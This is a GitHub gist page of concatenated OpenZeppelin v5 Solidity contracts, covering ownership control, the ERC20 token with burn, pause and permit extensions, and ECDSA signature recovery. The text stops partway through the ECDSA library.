Skip to content

Instantly share code, notes, and snippets.

@socarrandinn
Created March 3, 2024 22:35
Show Gist options
  • Save socarrandinn/98c4e6f87fb0cfc6a5b474df144b5228 to your computer and use it in GitHub Desktop.
Save socarrandinn/98c4e6f87fb0cfc6a5b474df144b5228 to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.18+commit.87f61d96.js&optimize=true&runs=200&gist=
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)
pragma solidity ^0.8.20;
import {Context} from "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* The initial owner is set to the address provided by the deployer. This can
* later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
/**
* @dev The caller account is not authorized to perform an operation.
*/
error OwnableUnauthorizedAccount(address account);
/**
* @dev The owner is not a valid owner account. (eg. `address(0)`)
*/
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the address provided by the deployer as the initial owner.
*/
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;
/**
* @dev Standard ERC20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
*/
interface IERC20Errors {
/**
* @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC20InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC20InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
* @param spender Address that may be allowed to operate on tokens without being their owner.
* @param allowance Amount of tokens a `spender` is allowed to operate with.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC20InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `spender` to be approved. Used in approvals.
* @param spender Address that may be allowed to operate on tokens without being their owner.
*/
error ERC20InvalidSpender(address spender);
}
/**
* @dev Standard ERC721 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.
*/
interface IERC721Errors {
/**
* @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.
* Used in balance queries.
* @param owner Address of the current owner of a token.
*/
error ERC721InvalidOwner(address owner);
/**
* @dev Indicates a `tokenId` whose `owner` is the zero address.
* @param tokenId Identifier number of a token.
*/
error ERC721NonexistentToken(uint256 tokenId);
/**
* @dev Indicates an error related to the ownership over a particular token. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param tokenId Identifier number of a token.
* @param owner Address of the current owner of a token.
*/
error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC721InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC721InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `operator`’s approval. Used in transfers.
* @param operator Address that may be allowed to operate on tokens without being their owner.
* @param tokenId Identifier number of a token.
*/
error ERC721InsufficientApproval(address operator, uint256 tokenId);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC721InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `operator` to be approved. Used in approvals.
* @param operator Address that may be allowed to operate on tokens without being their owner.
*/
error ERC721InvalidOperator(address operator);
}
/**
* @dev Standard ERC1155 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.
*/
interface IERC1155Errors {
/**
* @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
* @param tokenId Identifier number of a token.
*/
error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC1155InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC1155InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `operator`’s approval. Used in transfers.
* @param operator Address that may be allowed to operate on tokens without being their owner.
* @param owner Address of the current owner of a token.
*/
error ERC1155MissingApprovalForAll(address operator, address owner);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC1155InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `operator` to be approved. Used in approvals.
* @param operator Address that may be allowed to operate on tokens without being their owner.
*/
error ERC1155InvalidOperator(address operator);
/**
* @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
* Used in batch transfers.
* @param idsLength Length of the array of token identifiers
* @param valuesLength Length of the array of token amounts
*/
error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC5267.sol)
pragma solidity ^0.8.20;
interface IERC5267 {
/**
* @dev MAY be emitted to signal that the domain could have changed.
*/
event EIP712DomainChanged();
/**
* @dev returns the fields and values that describe the domain separator used by this contract for EIP-712
* signature.
*/
function eip712Domain()
external
view
returns (
bytes1 fields,
string memory name,
string memory version,
uint256 chainId,
address verifyingContract,
bytes32 salt,
uint256[] memory extensions
);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.20;
import {IERC20} from "./IERC20.sol";
import {IERC20Metadata} from "./extensions/IERC20Metadata.sol";
import {Context} from "../../utils/Context.sol";
import {IERC20Errors} from "../../interfaces/draft-IERC6093.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*/
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
mapping(address account => uint256) private _balances;
mapping(address account => mapping(address spender => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the default value returned by this function, unless
* it's overridden.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `value`.
*/
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `value`.
* - the caller must have allowance for ``from``'s tokens of at least
* `value`.
*/
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
/**
* @dev Moves a `value` amount of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _transfer(address from, address to, uint256 value) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value);
}
/**
* @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
* (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
* this function.
*
* Emits a {Transfer} event.
*/
function _update(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
// Overflow check required: The rest of the code assumes that totalSupply never overflows
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
// Overflow not possible: value <= fromBalance <= totalSupply.
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
// Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
_totalSupply -= value;
}
} else {
unchecked {
// Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
/**
* @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
* Relies on the `_update` mechanism
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(address(0), account, value);
}
/**
* @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
* Relies on the `_update` mechanism.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead
*/
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value);
}
/**
* @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*
* Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
*/
function _approve(address owner, address spender, uint256 value) internal {
_approve(owner, spender, value, true);
}
/**
* @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
*
* By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
* `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
* `Approval` event during `transferFrom` operations.
*
* Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
* true using the following override:
* ```
* function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
* super._approve(owner, spender, value, true);
* }
* ```
*
* Requirements are the same as {_approve}.
*/
function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `value`.
*
* Does not update the allowance value in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Does not emit an {Approval} event.
*/
function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(spender, currentAllowance, value);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/ERC20Burnable.sol)
pragma solidity ^0.8.20;
import {ERC20} from "../ERC20.sol";
import {Context} from "../../../utils/Context.sol";
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys a `value` amount of tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 value) public virtual {
_burn(_msgSender(), value);
}
/**
* @dev Destroys a `value` amount of tokens from `account`, deducting from
* the caller's allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `value`.
*/
function burnFrom(address account, uint256 value) public virtual {
_spendAllowance(account, _msgSender(), value);
_burn(account, value);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/ERC20Pausable.sol)
pragma solidity ^0.8.20;
import {ERC20} from "../ERC20.sol";
import {Pausable} from "../../../utils/Pausable.sol";
/**
* @dev ERC20 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*
* IMPORTANT: This contract does not include public pause and unpause functions. In
* addition to inheriting this contract, you must define both functions, invoking the
* {Pausable-_pause} and {Pausable-_unpause} internal functions, with appropriate
* access control, e.g. using {AccessControl} or {Ownable}. Not doing so will
* make the contract pause mechanism of the contract unreachable, and thus unusable.
*/
abstract contract ERC20Pausable is ERC20, Pausable {
/**
* @dev See {ERC20-_update}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _update(address from, address to, uint256 value) internal virtual override whenNotPaused {
super._update(from, to, value);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/ERC20Permit.sol)
pragma solidity ^0.8.20;
import {IERC20Permit} from "./IERC20Permit.sol";
import {ERC20} from "../ERC20.sol";
import {ECDSA} from "../../../utils/cryptography/ECDSA.sol";
import {EIP712} from "../../../utils/cryptography/EIP712.sol";
import {Nonces} from "../../../utils/Nonces.sol";
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712, Nonces {
bytes32 private constant PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/**
* @dev Permit deadline has expired.
*/
error ERC2612ExpiredSignature(uint256 deadline);
/**
* @dev Mismatched signature.
*/
error ERC2612InvalidSigner(address signer, address owner);
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
constructor(string memory name) EIP712(name, "1") {}
/**
* @inheritdoc IERC20Permit
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
if (block.timestamp > deadline) {
revert ERC2612ExpiredSignature(deadline);
}
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
if (signer != owner) {
revert ERC2612InvalidSigner(signer, owner);
}
_approve(owner, spender, value);
}
/**
* @inheritdoc IERC20Permit
*/
function nonces(address owner) public view virtual override(IERC20Permit, Nonces) returns (uint256) {
return super.nonces(owner);
}
/**
* @inheritdoc IERC20Permit
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view virtual returns (bytes32) {
return _domainSeparatorV4();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.20;
import {IERC20} from "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Permit.sol)
pragma solidity ^0.8.20;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* ==== Security Considerations
*
* There are two important considerations concerning the use of `permit`. The first is that a valid permit signature
* expresses an allowance, and it should not be assumed to convey additional meaning. In particular, it should not be
* considered as an intention to spend the allowance in any specific way. The second is that because permits have
* built-in replay protection and can be submitted by anyone, they can be frontrun. A protocol that uses permits should
* take this into consideration and allow a `permit` call to fail. Combining these two aspects, a pattern that may be
* generally recommended is:
*
* ```solidity
* function doThingWithPermit(..., uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public {
* try token.permit(msg.sender, address(this), value, deadline, v, r, s) {} catch {}
* doThing(..., value);
* }
*
* function doThing(..., uint256 value) public {
* token.safeTransferFrom(msg.sender, address(this), value);
* ...
* }
* ```
*
* Observe that: 1) `msg.sender` is used as the owner, leaving no ambiguity as to the signer intent, and 2) the use of
* `try/catch` allows the permit to fail and makes the code tolerant to frontrunning. (See also
* {SafeERC20-safeTransferFrom}).
*
* Additionally, note that smart contract wallets (such as Argent or Safe) are not able to produce permit signatures, so
* contracts should have entry points that don't rely on permit.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*
* CAUTION: See Security Considerations above.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.20;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the value of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the value of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves a `value` amount of tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 value) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets a `value` amount of tokens as the allowance of `spender` over the
* caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 value) external returns (bool);
/**
* @dev Moves a `value` amount of tokens from `from` to `to` using the
* allowance mechanism. `value` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)
pragma solidity ^0.8.20;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.20;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS
}
/**
* @dev The signature derives the `address(0)`.
*/
error ECDSAInvalidSignature();
/**
* @dev The signature has an invalid length.
*/
error ECDSAInvalidSignatureLength(uint256 length);
/**
* @dev The signature has an S value that is in the upper half order.
*/
error ECDSAInvalidSignatureS(bytes32 s);
/**
* @dev Returns the address that signed a hashed message (`hash`) with `signature` or an error. This will not
* return address(0) without also returning an error description. Errors are documented using an enum (error type)
* and a bytes32 providing additional information about the error.
*
* If no error is returned, then the address can be used for verification purposes.
*
* The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError, bytes32) {
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
/// @solidity memory-safe-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else {
return (address(0), RecoverError.InvalidSignatureLength, bytes32(signature.length));
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, signature);
_throwError(error, errorArg);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*/
function tryRecover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address, RecoverError, bytes32) {
unchecked {
bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
// We do not check for an overflow here since the shift operation results in 0 or 1.
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*/
function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) {
(address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, r, vs);
_throwError(error, errorArg);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError, bytes32) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS, s);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature, bytes32(0));
}
return (signer, RecoverError.NoError, bytes32(0));
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
